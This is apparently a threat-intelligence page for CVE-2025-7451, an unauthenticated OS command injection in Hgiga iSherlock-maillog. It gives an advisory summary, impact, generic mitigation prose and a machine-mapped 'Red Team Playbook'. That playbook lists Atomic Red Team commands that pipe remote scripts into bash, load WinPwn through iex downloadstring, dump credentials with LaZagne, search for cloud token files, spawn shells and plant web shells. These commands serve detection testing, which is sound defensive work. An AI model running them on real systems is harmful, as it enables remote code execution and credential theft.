CVE-2025-7451
Overview
This vulnerability is an OS Command Injection in Hgiga iSherlock-maillog-4.5 caused by improper input validation in a server-side component responsible for processing user-supplied data. The affected feature fails to sanitize or restrict command inputs, allowing arbitrary OS commands to be injected and executed within the server environment. The flaw resides in the command execution logic of the iSherlock-maillog application module.
Vulnerability Description
The iSherlock developed by Hgiga has an OS Command Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary OS commands and execute them on the server. This vulnerability has already been exploited. Please update immediately.
Impact
An unauthenticated remote attacker can execute arbitrary OS commands on the server hosting Hgiga iSherlock-maillog-4.5, enabling full compromise of the affected system. This includes potential data exfiltration, service disruption, or lateral movement within the network. The vulnerability requires no privileges or user interaction (CVSS vector AV:N/AC:L/PR:N/UI:N), making exploitation straightforward and highly impactful in operational environments.
Solution
Hgiga has released an update addressing this vulnerability in iSherlock-maillog version 4.5; users are advised to apply the latest patch as detailed in the vendor advisory at https://www.twcert.org.tw/en/cp-139-10238-f2bba-2.html. Immediate upgrade to the patched version is recommended to mitigate the issue. No alternative workarounds are provided in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The OS Command Injection vulnerability present in iSherlock developed by Hgiga represents a critical security flaw that allows unauthenticated remote attackers to execute arbitrary operating system commands on the server. This vulnerability arises from improper validation of user input, which enables attackers to manipulate command-line arguments sent to the server. When an application fails to sanitize input properly, it can lead to the execution of unintended commands, effectively giving an attacker the same privileges as the application itself. This flaw is particularly dangerous because it can be exploited without authentication, making it accessible to a wide range of potential attackers.
Attack vectors for this vulnerability are varied and can be executed through several methods. An attacker could leverage web forms, API endpoints, or any other input fields that interact with the server's command execution capabilities. For instance, by crafting a malicious input string that includes OS commands, an attacker can manipulate the server to execute arbitrary code. Exploitation scenarios may include retrieving sensitive data, modifying files, or even installing malware on the server. Given the severity of this vulnerability, it has already been exploited in the wild, underscoring the urgency for organizations to address this issue promptly.
The real-world impact of this vulnerability can be profound, leading to significant business risks. Successful exploitation can result in unauthorized access to sensitive data, disruption of services, and potential data breaches. Organizations may face regulatory penalties, loss of customer trust, and reputational damage as a result of a successful attack. Additionally, the financial implications can be severe, including costs associated with incident response, recovery efforts, and potential legal liabilities. The high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from affected organizations.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments and penetration testing should be conducted to identify potential weaknesses in the application. Input validation and sanitization must be prioritized to ensure that user inputs are properly filtered before being processed by the server. Implementing a web application firewall (WAF) can also help to detect and block malicious input patterns. Furthermore, organizations should ensure that their systems are updated with the latest security patches and that they have an incident response plan in place to address any potential breaches swiftly.
In conclusion, the OS Command Injection vulnerability in iSherlock is a critical security concern that requires immediate action from organizations using this product. The potential for unauthorized command execution poses significant risks, including data breaches and operational disruptions. By understanding the technical details, attack vectors, real-world impacts, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. Proactive measures and a strong security posture are essential in safeguarding sensitive information and maintaining business integrity in an increasingly threat-laden digital landscape.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-7451, rising by over 150% to a current level that places it near the upper quartile of vulnerability exploitation likelihood. Although our telemetry does not indicate a corresponding surge in active exploitation attempts or new proof-of-concept exploits, the elevated EPSS suggests growing confidence among threat actors in the feasibility and impact of this OS command injection vulnerability. This shift signals an increased risk that adversaries may prioritize targeting Hgiga iSherlock-maillog-4.5 installations in the near term. Defenders should interpret this change as a warning that exploitation attempts could become more frequent or sophisticated, potentially leading to unauthorized command execution and consequential operational disruptions. While the immediate threat landscape remains stable, the upward trend in predictive scoring warrants heightened vigilance and continuous monitoring of network activity related to this vulnerability.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-7451 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-10237-9e0f7-1.html |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/en/cp-139-10238-f2bba-2.html |